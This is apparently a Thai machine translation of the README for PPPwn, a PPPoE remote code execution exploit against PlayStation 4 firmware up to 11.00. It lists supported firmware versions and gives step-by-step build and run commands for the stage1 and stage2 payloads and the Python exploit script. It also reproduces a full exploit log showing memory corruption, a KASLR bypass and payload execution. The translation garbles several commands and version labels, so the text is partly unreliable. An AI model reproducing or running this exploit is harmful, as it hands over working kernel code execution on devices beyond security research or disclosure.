PPPwn เป็นช่องโหว่การเรียกใช้โค้ดจากระยะไกลสำหรับ PlayStation 4 จนถึง FW 11.00 นี่เป็นการใช้ประโยชน์แบบพิสูจน์แนวคิดสำหรับ CVE-2006-4304 ที่ได้รับการรายงานอย่างมีความรับผิดชอบต่อ PlayStation
เวอร์ชันที่รองรับคือ:
FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
แจ้ง 8.00 / 8.01 / 8.03
แจ้ง 8.50 / 8.52 น
แจ้งเวลา 9.00 น
เอฟดับบลิว 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
แจ้ง 10.00 / 10.01 น
FW 10.50 / 10.70 / 10.71
แจ้งเวลา 11.00 น
สามารถเพิ่มได้ (ยินดีประชาสัมพันธ์)
การใช้ประโยชน์จะพิมพ์ PPPwned
บน PS4 ของคุณเพื่อเป็นการพิสูจน์แนวคิดเท่านั้น ในการเปิดใช้ Mira หรือตัวเปิดใช้งานโฮมบรูว์ที่คล้ายกัน จำเป็นต้องปรับเปลี่ยนเพย์โหลด stage2.bin
คอมพิวเตอร์ที่มีพอร์ตอีเทอร์เน็ต
อะแดปเตอร์ USB ก็ใช้งานได้
สายอีเทอร์เน็ต
ลินุกซ์
คุณสามารถใช้ VirtualBox เพื่อสร้าง Linux VM พร้อม Bridged Adapter
เป็นอะแดปเตอร์เครือข่ายเพื่อใช้พอร์ตอีเทอร์เน็ตใน VM
ติดตั้ง Python3 และ gcc แล้ว
บนคอมพิวเตอร์ของคุณ ให้โคลนพื้นที่เก็บข้อมูล:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
เปลี่ยนไดเร็กทอรีเป็นที่เก็บข้อมูลแบบโคลน:
ซีดี PPPwn
ติดตั้งข้อกำหนด:
sudo pip ติดตั้ง -r ข้อกำหนด.txt
รวบรวมเพย์โหลด:
ทำให้ -C stage1 FW=1100 ทำความสะอาด && ทำให้ -C stage1 FW=1100 ทำให้ -C stage2 FW=1100 ทำความสะอาด && ทำให้ -C stage2 FW=1100
สำหรับเฟิร์มแวร์อื่นๆ เช่น FW 9.00 ให้ผ่าน FW=900
อย่าเพิ่งเรียกใช้ช่องโหว่ (อย่ากด Enter) แต่เตรียมคำสั่งนี้ในพร้อมท์ของคุณ (ดู ifconfig
สำหรับอินเทอร์เฟซที่ถูกต้อง):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
สำหรับเฟิร์มแวร์อื่นๆ เช่น FW 9.00 ให้ส่ง --fw=900
บน PS4 ของคุณ:
ไปที่ Settings
แล้วเลือก Network
เลือกตั้ง Set Up Internet connection
แล้วเลือก Use a LAN Cable
เลือกการตั้งค่า Custom
และเลือก PPPoE
สำหรับ IP Address Settings
ป้อนอะไรก็ได้สำหรับ PPPoE User ID
และ PPPoE Password
เลือก Automatic
สำหรับ DNS Settings
และ MTU Settings
เลือก Do Not Use
สำหรับ Proxy Server
ตอนนี้ให้กดปุ่ม 'X' บนคอนโทรลเลอร์ของคุณบน Test Internet Connection
และ 'Enter' บนแป้นพิมพ์พร้อมกัน (บนคอมพิวเตอร์คุณมีสคริปต์ Python พร้อมที่จะทำงาน)
รอเสมอเพื่อให้คอนโซลแสดงข้อความ "ไม่สามารถเชื่อมต่อกับเครือข่าย: (NW-31274-7)" ก่อนที่จะลองฉีด PPPOE นี้อีกครั้ง
หากช่องโหว่ล้มเหลวหรือ PS4 ขัดข้อง คุณสามารถข้ามการตั้งค่าอินเทอร์เน็ตและคลิก Test Internet Connection
ฆ่าสคริปต์ pppwn.py
และเรียกใช้อีกครั้งบนคอมพิวเตอร์ของคุณ จากนั้นคลิกที่ Test Internet Connection
บน PS4 ของคุณ: พร้อมกันเสมอ
หากช่องโหว่ใช้งานได้ คุณจะเห็นผลลัพธ์ที่คล้ายกับด้านล่างนี้ และคุณจะเห็นข้อความว่า Cannot connect to network.
ตามด้วย PPPwned
ที่พิมพ์บน PS4 ของคุณหรืออย่างอื่น
[+] PPPwn - PlayStation 4 PPPoE RCE โดย theflow [+] args: อินเทอร์เฟซ = enp0s3 fw = 1100 stage1 = stage1 / stage1.bin stage2 = stage2 / stage2.bin [+] ขั้นตอนที่ 0: การเริ่มต้น [*] รอ PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC เป้าหมาย: xx:xx:xx:xx:xx:xx [+] แหล่งที่มาของ MAC: 07:ba:be:34:d6:ab [+] ความยาวคุกกี้ AC: 0x4e0 [*] กำลังส่ง PADO... [*] กำลังรอ PADR... [*] กำลังส่ง PADS... [*] กำลังรอคำขอกำหนดค่า LCP... [*] กำลังส่ง LCP กำหนดค่า ACK... [*] กำลังส่งคำขอกำหนดค่า LCP... [*] กำลังรอ LCP กำหนดค่า ACK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP NAK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP ACK... [*] กำลังส่งคำขอกำหนดค่า IPCP... [*] กำลังรอการกำหนดค่า IPCP ACK... [*] กำลังรออินเทอร์เฟซให้พร้อม... [+] เป้าหมาย IPv6: fe80::2d9:d1ff:febc:83e4 [+] บำรุงขนกอง...เสร็จแล้ว [+] ขั้นตอนที่ 1: หน่วยความจำเสียหาย [+] กำลังปักหมุดไปที่ CPU 0...เสร็จสิ้น [*] กำลังส่งคำขอกำหนดค่า LCP ที่เป็นอันตราย... [*] กำลังรอคำขอกำหนดค่า LCP... [*] กำลังส่ง LCP กำหนดค่า ACK... [*] กำลังส่งคำขอกำหนดค่า LCP... [*] กำลังรอ LCP กำหนดค่า ACK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP NAK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP ACK... [*] กำลังส่งคำขอกำหนดค่า IPCP... [*] กำลังรอการกำหนดค่า IPCP ACK... [+] กำลังสแกนหาวัตถุที่เสียหาย ... พบ fe80::0fdf:4141:4141:4141 [+] ขั้นที่ 2: KASLR พ่ายแพ้ [*] เอาชนะ KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] ขั้นตอนที่ 3: การเรียกใช้โค้ดจากระยะไกล [*] กำลังส่งคำขอยุติ LCP... [*] รอ PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC เป้าหมาย: xx:xx:xx:xx:xx:xx [+] แหล่งที่มาของ MAC: 97:df:ea:86:ff:ff [+] ความยาวคุกกี้ AC: 0x511 [*] กำลังส่ง PADO... [*] กำลังรอ PADR... [*] กำลังส่ง PADS... [*] กำลังเรียกการเรียกใช้โค้ด... [*] กำลังรอสเตจ 1 เพื่อดำเนินการต่อ... [*] กำลังส่ง PADT... [*] รอ PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] MAC เป้าหมาย: xx:xx:xx:xx:xx:xx [+] ความยาวคุกกี้ AC: 0x0 [*] กำลังส่ง PADO... [*] กำลังรอ PADR... [*] กำลังส่ง PADS... [*] กำลังรอคำขอกำหนดค่า LCP... [*] กำลังส่ง LCP กำหนดค่า ACK... [*] กำลังส่งคำขอกำหนดค่า LCP... [*] กำลังรอ LCP กำหนดค่า ACK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP NAK... [*] กำลังรอคำขอกำหนดค่า IPCP... [*] กำลังส่งการกำหนดค่า IPCP ACK... [*] กำลังส่งคำขอกำหนดค่า IPCP... [*] กำลังรอการกำหนดค่า IPCP ACK... [+] ขั้นตอนที่ 4: การดำเนินการเพย์โหลดโดยพลการ [*] กำลังส่งเพย์โหลดระยะที่ 2... [+] เสร็จแล้ว!
โค้ดจะไม่คอมไพล์บน Apple Silicon และต้องใช้สถาปัตยกรรม AMD64 มีวิธีแก้ไขปัญหาชั่วคราวโดยใช้นักเทียบท่าซึ่งจะสร้างไฟล์ bin ที่ต้องการ โคลนที่เก็บนี้ไปยังระบบ Mac ของคุณ จากนั้นให้รัน ./build-macarm.sh
จากโฟลเดอร์ repo สิ่งนี้จะสร้างไบนารีสำหรับ PS4 FW 1100 และวางไฟล์ที่จำเป็นลงในโฟลเดอร์ที่ถูกต้อง หากต้องการสร้างไบนารีสำหรับเวอร์ชันอื่น เช่น 900 ให้รันคำสั่งดังนี้: ./build-macarm.sh 900
เมื่อสร้างแล้ว ให้คัดลอกโครงสร้างโฟลเดอร์นี้ลงใน Linux VM และดำเนินการตามคำแนะนำด้านบน สิ่งนี้ได้รับการทดสอบโดยใช้ VMware Fusion 13.5.1 โดยมี VM Guest เป็น Ubuntu 24.04 และเครื่องโฮสต์คือ MacOS 14.4.1